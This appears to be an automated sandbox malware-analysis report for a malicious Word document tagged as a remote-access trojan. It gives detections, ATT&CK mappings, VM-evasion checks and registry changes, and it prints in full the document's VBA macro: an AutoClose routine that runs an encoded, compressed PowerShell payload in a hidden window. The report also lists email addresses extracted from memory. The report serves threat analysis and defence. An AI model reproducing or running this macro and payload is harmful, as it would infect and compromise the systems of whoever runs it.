Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for '13272bdbbae69fddddb6e289f8bf603e'

malicious

Threat Score: 100/100 AV Detection: 58% Labeled as: Valyria #evasive #macros-on-close #rat

13272bdbbae69fddddb6e289f8bf603e

This report is generated from a file or URL submitted to this webservice on June 3rd 2021 18:03:12 (UTC) and action script Heavy Anti-Evasion
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1, Office 2010 v14.0.4
Report generated by Falcon Sandbox v8.48.7 © Hybrid Analysis

Overview Sample unavailable Re-analyze Hash Seen Before Show Similar Samples Report False-Positive Request Report Deletion

Incident Response

Risk Assessment

Evasive: Found a reference to a WMI query string known to be used for VM detection
Possibly tries to implement anti-virtualization techniques

MITRE ATT&CK™ Techniques Detection

This report has 11 indicators that were mapped to 11 attack techniques and 7 tactics. View all details

Execution
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1047	Windows Management Instrumentation	Execution	Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. Learn more		Found a reference to a WMI query string known to be used for VM detection
T1204	User Execution	Execution	An adversary may rely upon specific actions by a user in order to gain execution. Learn more		Contains embedded VBA macros with suspicious keywords	Contains embedded VBA macros
Persistence
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1179	Hooking	Persistence Privilege Escalation Credential Access	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more			Loads rich edit control libraries Hooks API calls Installs hooks/patches the running process
T1137	Office Application Startup	Persistence	Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. Learn more	Contains embedded VBA macros with keywords that indicate auto-execute behavior
Privilege Escalation
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1179	Hooking	Persistence Privilege Escalation Credential Access	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more			Loads rich edit control libraries Hooks API calls Installs hooks/patches the running process
Defense Evasion
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1112	Modify Registry	Defense Evasion	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. Learn more			Removes Office resiliency keys (often used to avoid problems opening documents)
T1497	Virtualization/Sandbox Evasion	Defense Evasion Discovery	Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. Learn more		Possibly tries to implement anti-virtualization techniques
Credential Access
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1179	Hooking	Persistence Privilege Escalation Credential Access	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more			Loads rich edit control libraries Hooks API calls Installs hooks/patches the running process
Discovery
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1010	Application Window Discovery	Discovery	Adversaries may attempt to get a listing of open application windows. Learn more			Scanning for window names
T1497	Virtualization/Sandbox Evasion	Defense Evasion Discovery	Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. Learn more		Possibly tries to implement anti-virtualization techniques
Collection
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1114	Email Collection	Collection	Adversaries may target user email to collect sensitive information from a target. Learn more		Found a potential E-Mail address in binary/memory

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Malicious Indicators 6
External Systems
- Sample was identified as malicious by a large number of Antivirus engines
  
  details
  
  28/64 Antivirus vendors marked sample as malicious (43% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  28/64 Antivirus vendors marked sample as malicious (43% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
General
- Document spawns new processes
  
  details
  
  Document spawned a new process (macro present)
  
  source
  
  Indicator Combinations
  
  relevance
  
  7/10
Pattern Matching
- YARA signature match
  
  details
  
  YARA signature "Hacktool_Strings_p0wnedShell" matched file "all.bstring" as "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs" based on indicators: "Invoke-Mimikatz" (Reference: https://github.com/Cn33liz/p0wnedShell, Author: Florian Roth)
  YARA signature "Bolonyokte" classified file "all.bstring" as "rat" based on indicators: "login,en ligne,Power" (Author: Jean-Philippe Teissier / @Jipe_)
  
  source
  
  YARA Signature
  
  relevance
  
  10/10
Unusual Characteristics
- Contains embedded VBA macros with keywords that indicate auto-execute behavior
  
  details
  
  Found keyword "AutoClose" which indicates: "Runs when the Word document is closed"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1137 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Suspicious Indicators 4
Environment Awareness
- Found a reference to a WMI query string known to be used for VM detection
  
  details
  
  "Win32_Process -> Vmtools, VBoxService (very tedious, not very effective!)" (Indicator: "win32_process"; File: "~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp")
  
  source
  
  File/Memory
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1047 (Show technique in the MITRE ATT&CK™ matrix)
- Possibly tries to implement anti-virtualization techniques
  
  details
  
  "Win32_Process -> Vmtools, VBoxService (very tedious, not very effective!)" (Indicator: "vbox")
  "Win32_Process -> Vmtools, VBoxService (very tedious, not very effective!)" (Indicator: "vboxservice")
  "Win32_Process -> Vmtools, VBoxService (very tedious, not very effective!)" (Indicator: "vmtools")
  
  source
  
  File/Memory
  
  relevance
  
  4/10
  
  ATT&CK ID
  
  T1497 (Show technique in the MITRE ATT&CK™ matrix)
General
- Found a potential E-Mail address in binary/memory
  
  details
  
  Pattern match: "ajanvrin520@beijaflore.com"
  Pattern match: "jamarir817@beijaflore.com"
  Pattern match: "domaine@cu2016.local"
  Pattern match: "_fx@g7q.a"
  Pattern match: "_gqw7g@hyrc8.odcylj"
  Pattern match: "q@jv.dybehww"
  Pattern match: "miteu@6u.ioc"
  Pattern match: "vp@mph0.p4c"
  Pattern match: "sl-us@s.ic3g"
  Pattern match: "hus@s._"
  Pattern match: "u@wp.qh"
  Pattern match: "aor9@bni3i.o"
  Pattern match: "mo@z6w.w"
  Pattern match: "bl@_fwidfu.ztv2"
  Pattern match: "sz@sr.s"
  Pattern match: "e55s@q.j"
  Pattern match: "t@w.g"
  Pattern match: "ixus@n.el"
  Pattern match: "w@.l8p.fhn5"
  Pattern match: "k2-d9e@a.3"
  
  source
  
  File/Memory
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1114 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Contains embedded VBA macros with suspicious keywords
  
  details
  
  Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command"
  Found suspicious keyword "WScript.Shell" which indicates: "May run an executable file or a system command"
  Found suspicious keyword "Run" which indicates: "May run an executable file or a system command"
  Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
  Found suspicious keyword "PowerShell" which indicates: "May run PowerShell commands"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1204 (Show technique in the MITRE ATT&CK™ matrix)

Informative 15
General
- Contains embedded VBA macros
  
  details
  
  File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "Sub AutoClose()
  B
  End Sub
  
  Public Function B() As Variant
  Dim p As String
  p = "powershell -noP -sta -w 1 -enc JgAoACAAJABFAE4Adg"
  p = p + "A6AEMAbwBtAHMAUABlAEMAWwA0ACwAMQA1ACwAMgA1AF0ALQBq"
  p = p + "AG8AaQBuACcAJwApACAAKAAgAE4AZQB3AC0AbwBiAEoAZQBDAF"
  p = p + "QAIABJAE8ALgBjAG8ATQBQAFIAZQBTAFMAaQBPAG4ALgBkAEUA"
  p = p + "ZgBsAEEAdABlAHMAVABSAGUAYQBtACgAIABbAHMAeQBTAFQAZQ"
  p = p + "BtAC4AaQBvAC4ATQBlAG0AbwByAFkAUwBUAHIAZQBBAG0AXQAg"
  p = p + "AFsAcwB5AHMAdABlAG0ALgBjAE8ATgB2AGUAcgB0AF0AOgA6AE"
  p = p + "YAUgBvAE0AQgBhAFMAZQA2ADQAUwB0AHIAaQBOAEcAKAAgACcA"
  p = p + "agBWAGkATABjAHQAcABLAEUAdgAyAFYASwBaAGUAegBnAG0AdQ"
  p = p + "BzADQARwBlAGMAcwBOADYAdABRAFIASgBHAEQAZwBpAEMAaABC"
  p = p + "ADkATABVAFIAawBaAHgAaQBCAGIAUwBKAFEAawBiAEIATgBIAC"
  p = p + "8ANwA3AGQAUABTAFAAYgBkACsAdAB1ADcAVgBhAHEAegBEAHgA"
  p = p + "NgBUAGoALwBtAGQARQA4AHIAYgBxAGYARwAyAE8ANwByADIAaA"
  p = p + "BkAFgAegBrAGoANAAwAGMAQQBMAFEAdABHAE8AbgBkAEkAYwAr"
  p = p + "AGwAZAB5AGwARQBlAHAAWgAvAGIARABoADAASABHADkAaABjAE"
  p = p + "8ATwAyAEwAMQAxADkAMwBYAE0AMwBGADQAVwBEAEoAMgB6AHQA"
  p = p + "ZwBrAGMAKwA2AG4ASgB2AGQAOQB1AGIAcQBMAHQAKwBhAEYAVQ"
  p = p + "B3AFQAYgB0AFYATQBEAFMATQBQAGYANQBvAFUAMAAyAEoANgB4"
  p = p + "AGcAdgBQAEcAbgBwAEUAWQBqAE8AMAB4AEkAMQB6AEkAbABVAH"
  p = p + "cASwAzAEQARAA1AHAAawBoAFgAWQBSAEcAbABpAFcAbgBnADMA"
  p = p + "cgBpAEkAWQBoAHIAawBCAHEAdgBYAHoAUgAyAEEANgA3AGgAUw"
  p = p + "A5AE8AdwBkAEEASwB3AHgAWQB4AGIATwBsAG4ASgArAGsAYQBV"
  p = p + "AGIAbABHAEwARwBlAHAAagBHAGsAWQBHAGoARwBSADMAYgArAG"
  p = p + "sAcQBIAFYARAA5AEYARQBTAFUATABoAEcAbwBZAEgAcQAyAGcA"
  p = p + "VwBXAGsAeQAzAE4AegBoAHoASQBpAGoARwBhADAAeQBvACsARQ"
  p = p + "BYAFkAYQBFAGcAYwBhADAATwAvADEAcgBNAHYAYQA5AFYAbgBx"
  p = p + "AEwAUABCACsATAByAFEAUQBrAHUANgB6AFYAMAA5AFkAcgAzAH"
  p = p + "gAaABLAEUAUABEAEcATwBlADIAVwBkAHEAVQBNAFkAVABSAEsA"
  p = p + "ZQBnAE0AWAArAEwASQB2AFcAWgBHAEgAUgBOAHUAcgBhAGgARA"
  p = p + "BoAFYAdQBtAGEAUAB2AFgAUgBCAG0AdwBzAHcARgBHAHkAcABU"
  p = p + "ADkAOAAwAFQAVwBwAHcAbAB2AFkAQQBvAEkAQwBCAEEAZQBmAH"
  p = p + "gATwBKAHkAdQB6AEYAYgBIAGoAWQBYAHkAdABvAEsAWQBvAEEA"
  p = p + "bwBuAEMAWgBXAE8AdQAxAGoAOQBTAGgAOQBEADkAQQBFAE0AUg"
  p = p + "BBAGwARgBHAFkAUwBxAEMAQQAvAHQAQQBTAGkAVQBWAFgARABu"
  p = p + "AHIATQBsAGEASAA0ADEAQwBoADEAUgA0ADIANABiAEMAMABCAE"
  p = p + "MAUAAyAGkAeABFAEkAUQBSAG0AVgBCAFkAWgBqAHIASQBpAEMA"
  p = p + "ZQA5AGkAWgBZAGwAMgByAEUAMgB4AE0ATgA0ADgAMAByADkAdQ"
  p = p + "A4AHAAVABPAFEAcgBvAGwAWgBJAGQAUgB3AGYANwBaAFUAMgBS"
  p = p + "AGcAcwA5AHgAOQBmAFIASwA4AFYAeABJAGIAcgBiAFEAWABPAD"
  p = p + "EAWQBRAEQAUgBJAGYATABzAGgAegBSAHEANQBsADIAaQA0AHQA"
  p = p + "OABHAHcANwB5AFkAdABSADUARgAwADAALwBGAHUALwBrAEgAMQ"
  p = p + "B6ADAATAA0AEUAMgBlAG4AMAAyAHoAZgBQAGUAUQBZAGYARwBG"
  p = p + "ADMANwA3AHUAcwBWAHcAcABsADgAUABxACsAUgBaAC8ALwBGAG"
  p = p + "QASwBNAEsAQQBhAHYAdgAxAGMAagA5AFgAbwBxAHgAKwArAEIA"
  p = p + "NwB2AGQARwBrAEsATABlADAAaQBZAFIAWgBvADgAdgBCAGEAOQ"
  p = p + "BGAE0AUgBUAHkASwBLAGcAWgBEADgAZgBqAFIAUgBhAFQAawBT"
  p = p + "AGMAbgBvAFMAQwBDAEgAOQBHADkARQBRAFUAdABJAEkAVwBxAH"
  p = p + "MAbABoAFAAUwBXAFgAKwAvAEwAbgBXADkAMwBlAC8ATwA3AFUA"
  p = p + "OQBFADcAQQAwAHMAMwB2AHUAcABWAFAAYQA1AFIAZgBIAHQAdQ"
  p = p + "BwADQAVABjAFEATAA2AGkAcQBoACsAZQBsADgAOABoADUAbQBN"
  p = p + "ACsATgBjAGgARwBRAE0AcABOAG8AdABrAEQAdgBNACsAegBhAE"
  p = p + "4AWgBsAHUAWQBnAEIAQQB2AFgAeQBsAFYAbQB6AE4AUABuAFAA"
  p = p + "RgBKAEQATwBnAFkANAA2AGIAUABNAEsAQgAyAE4ASgBZAEgATA"
  p = p + "BPAEkAWQBUAHkAbABFAGcATABiAEQAWgB6AEoAeAAxAHoARwBj"
  p = p + "AE8AaABYAGwAaQBkAGMATgBzAGUAdABBADgASQBWAGYAVQA3AE"
  p = p + "IAUQBuAGEAbgBqAHkAcABkADYAWQArAEUARQBXAGUAWQB1AHAA"
  p = p + "VwB2AGwANgBXAE0AZgBJAGEAKwByADEAbABQAEoAVQBSAHcASg"
  p = p + "BEAFUAaABFAEYAZQBIAEsATwBPAFUAbABYAFUARABwAHgATABs"
  p = p + "ADgAbgB2AHAAVwA1AHcAdwBEAGkAYgBYADIAZgA2AGoATABqAG"
  p = p + "kASABpACsAZwA3AGUAagBIAEQARQBXAGkAbgBWAGgAcwBjAGwA"
  p = p + "awBqAHIAZgA4AFYAawBTAGcAaABKAEEARQAxAEoARwBxAGgASw"
  p = p + "BnAEsAbwBpAE0AdwBvACsATABsAHkAKwBJAHEANwBHADIAdwBQ"
  p = p + "AGkAUQBiAEEAZgBXAGgAVQBXAFAAQQBzAC8AMwBCAEgAYgBDAH"
  p = p + "UAWQBGAFkAYQA5ADYAUgBWAHUAQQBNAHYATgB5ACsAawBKADcA"
  p = p + "TgBvAFoAbgBiAEQAZgBPAGsANwBCAGYAZwA1AGMAcABNAEYAMA"
  p = p + "BMAHQAZQBCADMAYgAzAFoAZABGAE4ANQA3AGEAUQBIAFIARQBs"
  p = p + "AEkAaQBwAGMAawBYAHIASQA5AGgAcgBiAG0AZABoAHgANwBLAD"
  p = p + "cAVwBhAFYAYgBVAHgATQA2AGoAegBCAEkAWgBIAHgAMgBLAG4A"
  p = p + "ZgBwADAAVABhAGEAeABIAFEAeAAvAHIAbQBvAGIAMwBCAHYAVA"
  p = p + "AwAFoARQB2AHgAaAB1AGIARABEAGoARgB5AEIAMgBYAC8AaQBi"
  p = p + "AEYAcwBNAGcAWQA3AFYALwBJAFkAcABpAHAAeQBnAEQARQB6AF"
  p = p + "QAUgBoADgANwB6ADIASgBsAG4AUgBFAGcAOABZAHkAMwA0ADYA"
  p = p + "MQB3AHUAYgBXAEYAMQA1AEEAOAA4AHEAcgBXAEIARwBwAGcASw"
  p = p + "BiAHEASgBKAEgAeQB6AHQAcgBVAE8AQwBGAEsAMQBsAHYALwBV"
  p = p + "ADkAZgBDAEEATwBDAEQAQQBZAFoAYQBLAEIAeQBRACsAZQBFAG"
  p = p + "MAbwBOAEsAQgA2AFcATwBYAHYAMwBnAGkAOABwAFgAKwBrAHUA"
  p = p + "RwA3AHEARwBaAHMAcQB2AEwAWgBEAEsAUABaAFkAMABrAGMAeA"
  p = p + "BXAFcARABMAGkAagBUAEkAegBYAEkAQQArAGkALwA2AGUAWgBH"
  p = p + "AEgARwB3AFUARAA4AG4AYQBDADgARwBCADIAegBWAHMAWQBJAG"
  p = p + "oAcABLAEMANgBqAEwAdQAwAEkAbQAxAE0AWABsADEARgBXAFUA"
  p = p + "RwBHAGIATQBJAFkAdwBtAC8AbwBVADcATwBpADUAcQBwAFgAYw"
  p = p + "A2AGkAYwBJAE0AZQBNAEcAQgA0AFgAZwA5AE0AQwBYAEoASABV"
  p = p + "AFMASABuAGUASQBIAGgAagA3AFAANwBIAEwAVwBHAHUAUAB2AH"
  p = p + "YAdwBaAGgAcQAvADQASABZAFkAWABRADkARwBvAGsAcgBrAEEA"
  p = p + "bwAyADkAagB6ADMANQByAEkANABaAFcAUQBxADYAOQBWADUARA"
  p = p + "BFAFEAVgBlADMAegAyAFMAVgBIAGUAdABIAHUAQwBrAHEAQgB5"
  p = p + "AEsAMQAzAHAAdwBqADkAYgBHAGcAMwBnACsAVgBDAEIANABxAE"
  p = p + "4ANwBDAFYATQBJAHEAKwB5AGoAawBTAEgAZwBZAFAAZABWAEoA"
  p = p + "TQBPAEQAWQBQAGoAUQBQAGsAdQAzADMAbwBaAG0AUQBtAFMAMw"
  p = p + "B2AG8AeQBUAEMAOABnAC8AUwBLACsARQBVAFgAWgBIAE8ANQA1"
  p = p + "AEEARgBiAGkATABjAFEAawBTAFkAQgBmAHQANABLAGYAZwBvAG"
  p = p + "YAcABmAHEAMQB1AEEANgBVAE0ALwBSAEkAVAB5ADIAdABPAG0A"
  p = p + "dgB3AHgAbABKAFEASwAwADYAVQBpADQAZAAwAHQAdQAzAFAAdw"
  p = p + "B6AHoAUABGAGgAbQBHADYAaQBXAC8ARQA3ADQAYwAzAHAAQgBV"
  p = p + "AEoASwB2AEkAQQBaADUANQBKAFAAWQBuAHUAbwA3AGsAagBiAG"
  p = p + "gAYgArADQAeABQAEIAWABqAHkASgBYAGQAMQAyAFcAWQAyAEsA"
  p = p + "TABuAGEARABjAG0AcQBPAGoAUQAvAEsANgBwAEEAYQA4AEwANQ"
  p = p + "BKAEYAaQBVAEQAYwBrAG0AdABXAE0AYwBKAFgAcgBiAHMATgBV"
  p = p + "AEsAVwBQAEUAcwBYAHEAUQA4AFEAVgBpAEUANQBlAHkAYwBMAH"
  p = p + "IANwAyAHQANQAwAFIATQBmAEoAdQBKAGcATABlACsAVABrAE8A"
  p = p + "ZQBuADQAUwB3ADIAWQBxAFoAaQBsAG0ASgA4AFEAcgA2AFgAZw"
  p = p + "BpAGIAQwBoAGkAMgB2AEEAaABMAGQARgBEAHUANQBSAGcAegBK"
  p = p + "AEIAUwBzAEMAaAAzAFYAYwAvAEUAcgA4AGsAQQBUAFoAZgBUAG"
  p = p + "sAagB0ADIAeABhAEEAaQBVAEEAQQA1ADAAUwBuAEYAeQA2ADAA"
  p = p + "egBIAEcAegA5AFMANgBCAHQAeQBwAEcAZwA4AEEAUgBzADYASQ"
  p = p + "BUAGsAdwB4ADUAMwAyAHoAOQBoAFgAbABJAGEAYwBWAG0ANABq"
  p = p + "AEYAWQBkAEMAZgBHAG8AdABNAEIAQgBvAFEAMgArAE8AWAA3AF"
  p = p + "oARwBZAHUAbwBuADkASgBHAGcARgAwAFcAZwBnAG8AagAvAGMA"
  p = p + "OQB2AG8AQwBWAHkAVQBqAGUAbwA5AEsAZQB2AFEAYQBsAEkAcA"
  p = p + "BDAFcAQwBEAG8AOQB3AFMALwBLADYAcwAwAEcAdwBJADcAdQBT"
  p = p + "AE4AdgBiAFEAawA2AG0AMAAxAHAAbABiAFAATwBsAGYAZABaAD"
  p = p + "QAbgA1AHgAOABhAGIARAAzAFcAYgBPAEoAcwA2AGkAYQBmAGYA"
  p = p + "awA0AE8ALwB2AFQAbgBuAFYARQBxAGkAWQA1AHQAcgBVAHIATQ"
  p = p + "A5AHMAawBSAGIAUwBTAEoAbQB6AEwATABGADMAbgBNAG4AdQBL"
  p = p + "AFoAagBJADMAVgAyAEcAVwBMADgATQBZAHYASgA2AGwANgB5AD"
  p = p + "MANgAyAGsAYgBUAEcAcQB5AEoAagB0AEYAOQBDAG0AZgBFADUA"
  p = p + "MgBLAGUANABYADAAMgAyAEMAbQBtAFEAOQBtAGEAKwBMAGUARQ"
  p = p + "A2ADgAawBBAG4AZwA0AEMARwA2AFoAZwBaAFoAOABuAGYATwBG"
  p = p + "AGsAZwBPAGUAOABEAEsARgBkAE8AVwBnADIAcgBVAEUAUwB1AE"
  p = p + "0AbABZAGcAcgB0AE4AOQBQADEARQBuAEoANgBXADUANQBDAHkA"
  p = p + "KwA0AFAAMgBBAHcAUwBZAEEAVgBUAGcAQQBKAFEAVABtAE4AZQ"
  p = p + "B5AGIAZgBWAGMAbQBRAFEAVQBwAFQARgB4AHYAQQBZAEYAOABG"
  p = p + "AGMAVQB4ACsASABuAEUAeABPAFQAcABhAGsAcgBOAE4AWQAvAD"
  p = p + "QAMQBvAFQAVQB6ADEAeAArAEsANAB6AFQAKwBkAHoAdwBFADcA"
  p = p + "TgBnADUAWQBxAFgAdABlAEQANgA5AFAAagBGAGcAdAAwAFQAWg"
  p = p + "A5AEQAUgAvAC8ANQBpADkAbABzAFkAVwAzAE8AbgByADQAZABI"
  p = p + "AEoAagBOAHUAagA3AEcAbwBFAFgASABNADQAKwBTAFgAVgBRAE"
  p = p + "YAUwB2AGUASwArAEYANgByAC8AaQBnAFgAVABsAFoAQwBjADEA"
  p = p + "MgBiAEIATQA1AE4AWQBUAHEASgBOAGIARABkADUAQQBMAGMASA"
  p = p + "BpAGYAdQBMAEoAMQBMAGEATwBjAEMAZQBCAGUAagA1AEsASQBH"
  p = p + "AFgAWgA3ADMASgBMAE0AQwBOAGoAdgBaAG8ATgA4AE8AZgBlAG"
  p = p + "YAMAAyAEMAOAB5ADEAMQB0AGcAdwAyAE8ARQB2AE4AMwBrADMA"
  p = p + "UgA5ADgAeAB2AG0AcABhAG0AdwBzADkATwB5AE0AVgAvADMAcA"
  p = p + "BNAHgAWgBNADQANABYAGIAMgBnAHIAZQBYADYAZwA5AFkAMABP"
  p = p + "AFcAYwBsAHYAMwBmAE4AeABUAEQAUgBZAC8ANQB0AFkAeAA5AD"
  p = p + "MANQBnAHIAVAAzAEUAWQBmADgASABiAGYAQgBuAGIAcgB0ADgA"
  p = p + "cwBPAEEAdgBxAE0AZQB3AGYAeQBEAFMAQQBhADUAaABOAG0ATQ"
  p = p + "A2AFUANgBrAEwAawBKAGwAUQBSAGoANgBIADgAMQBXAGsAcQB2"
  p = p + "ADkAbgArAHIAdQBRAGgAYQBtAGIANgBlAFUAYQBLAGwAWgBMAF"
  p = p + "gANgBiAFoAZABmAGoAYwB5AFgAeABvAEcARwAzADEANQBUAFAA"
  p = p + "TwBEAFYAVgB5ADQATwA4ACsAWAA5AEEASABGAEwAUQBrAHUANg"
  p = p + "ArAGIAVQB0AGQAVABkAFgAQQA0AFMAbQArADIANwBCAHoAWQA1"
  p = p + "AEEAZABPAG4AOQBnAEUARgBCAGoASgBIAHgAdgBwAEIAeABBAH"
  p = p + "cAMgArAG0ARQBtADEANABCAGEAOABOAHMAOABMAEoAbAA3AHkA"
  p = p + "bwBoAE8AMQArADIAcABwAFYASgBXADMAcABCAEYATQBZACsAbA"
  p = p + "BSAHAAawBKAGUASQBBAGwAYQB6AE0AbQBUAHYAQQB2AEQAQwAy"
  p = p + "ACsASwB6AHIASQBKAGkAOABEADgAZQA5AHcAcABQAEYAOAB5AE"
  p = p + "IANwBmAEQAdgBhADgANwBIAFEAVQBFAEoARAB0AHkAZgBXAHcA"
  p = p + "VABlAHgASABnADEAdQB0AHUAcgByADYAWQBNADIATABmAFkAZA"
  p = p + "B3ADYATQAwAHIAYwB4AEEAdgBnAFMAbQA0ADgAMABHAGMAMwBp"
  p = p + "AEEAUQBRAGYAMwBMAGQAZQBGAEQAaQBsAG8AMwB3AGEATwBEAD"
  p = p + "UARwBZAGoATwByAEgARgArAE8AOQBmADUAWQBIAGwAbgBNAGIA"
  p = p + "TAAwADgAUABIAC8ALwA0ADkAbgBOAHIAZAA0AFAAZgBnADcALw"
  p = p + "BmAG4AegAzADgAdwA2AGgAYQA3AGgASAB3AGkAYwBIAG4AbABG"
  p = p + "ADAAMgB0AEEANQBVAHgAawBkAGkANABaAGUAVQBEAFYAUgBOAG"
  p = p + "0ANgBaADUAZQBBAEoAOQBaAHEAcwBhAC8ARwBhAGYANABOAEMA"
  p = p + "RABrAHMAZgA4AHYAUwB6ADMAUwBIAGkAeQArAC8AcQB6AG4ATA"
  p = p + "BJADkAQgBLAFAAeABKADMAagBFAFMAdABNAGEAYgBMAHgAZwB5"
  p = p + "AHUAcQBmAEQAawA5AE8AQwBkAGIAWABrAGcAMAA5AGYAQwBqAH"
  p = p + "gAUQAwAFUAagBYAE4ASgA2AEIAVgBhAFMALwAxAEMAYQBsAGQA"
  p = p + "SwBvAEoASgBVAE0AUgAwAFQAVgBBAC8AYQBHAGkAegBXADkAcw"
  p = p + "BnAG4ARwAzAFIASQBOAEkAWgB5AG8AbgBDAHEAaABkACsAMwBS"
  p = p + "AHUALwBZAGwAYQBXAGYAcwBmAGQAcAA0AFAANABkAGgAKwBsAG"
  p = p + "4AdQAzADcAMgBrAEcAZQAzAFgAUABtAHcAaABmAG4AVwBFADgA"
  p = p + "SwBlAGwATQBsAGMAegBWAEkAWgB6AE8AUQBLAEcAMgByAGIANg"
  p = p + "BUAEwATABTAFYASwBkAFQASgBJAG0AYgBOAFcATwBiAFgAUwA1"
  p = p + "AG0AegAvAGsAVgBjAGIAMgBOAE8AYgBlAHgAZwB2AFkANQBjAH"
  p = p + "YAaAB6ADcANwBpAE4AdgArAE0AYgBsAFcAbABYAHMANABlAHYA"
  p = p + "bAA5ADAAZQBTAGMANABlAHoAOABMADQANgBZAGIAcgBiADYAUA"
  p = p + "BqADQATQB5ACsAUABYADkALwBIAGkARgBnAFgAQQBTADgAeABK"
  p = p + "AGcAcQBXACsAegBCAE4AWAB3AEwAZwBTAFYAaABFAEYASgAwAG"
  p = p + "YASABoAFoAUwB2AEkAZwBLAFAARwBGAGoAcwBRAFYAeABRADcA"
  p = p + "SQBFAEkAbwBnAEwAQwBkAHcAMgBVAGQAVABGAFgAeQBPAEMAKw"
  p = p + "BmAHMARABYAFoAeQBiAEoAbwBnAFIAMgBNAHoAbABzAGwARgBz"
  p = p + "AFoAeQAyADkAaQAvAFQASwBKAGwAWQB5ADMAQwBFAEwAdwB2AD"
  p = p + "cARwAwAE4ANgB2AGMARwB4AG0AbABhAHgAaAA0AHgAZwA5AFAA"
  p = p + "OABIAHYAMQAzAG4ANQB0ADgAPQAnACAAKQAgACwAIABbAFMAWQ"
  p = p + "BzAHQAZQBNAC4ASQBPAC4AYwBvAG0AUAByAGUAcwBzAGkAbwBO"
  p = p + "AC4AQwBPAG0AUAByAGUAcwBTAGkAbwBOAG0ATwBEAGUAXQA6AD"
  p = p + "oARABlAGMATwBtAFAAUgBFAHMAUwAgACkAIAB8AEYAbwByAGUA"
  p = p + "QQBDAEgAewAgAE4AZQB3AC0AbwBiAEoAZQBDAFQAIABTAFkAUw"
  p = p + "BUAGUAbQAuAGkAbwAuAFMAdAByAEUAYQBNAHIARQBBAGQARQBS"
  p = p + "ACgAIAAkAF8AIAAsACAAWwB0AGUAeAB0AC4AZQBuAEMATwBEAE"
  p = p + "kAbgBHAF0AOgA6AEEAUwBDAEkASQApACAAfQApAC4AUgBlAGEA"
  p = p + "ZAB0AG8AZQBuAEQAKAApACAA"
  Set asd = CreateObject("WScript.Shell")
  asd.Run (p)
  End Function"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1204 (Show technique in the MITRE ATT&CK™ matrix)
- Creates a writable file in a temporary directory
  
  details
  
  "WINWORD.EXE" created file "%TEMP%\msoFB27.tmp"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Creates mutants
  
  details
  
  "Global\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001"
  "Global\552FFA80-3393-423d-8671-7BA046BB5906"
  "Global\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001"
  "Local\10MU_ACB10_S-1-5-5-0-70070"
  "Local\ZonesLockedCacheCounterMutex"
  "Local\10MU_ACBPIDS_S-1-5-5-0-70070"
  "Local\ZonesCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"
  
  source
  
  Created Mutant
  
  relevance
  
  3/10
- Drops files marked as clean
  
  details
  
  Antivirus vendors marked dropped file "~_272bdbbae69fddddb6e289f8bf603e.doc" as clean (type is "data")
  
  source
  
  Binary File
  
  relevance
  
  10/10
- Loads rich edit control libraries
  
  details
  
  "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\microsoft shared\OFFICE14\RICHED20.DLL" at 61E20000
  
  source
  
  Loaded Module
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Removes Office resiliency keys (often used to avoid problems opening documents)
  
  details
  
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: " I#")
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "NK#")
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: ">F#")
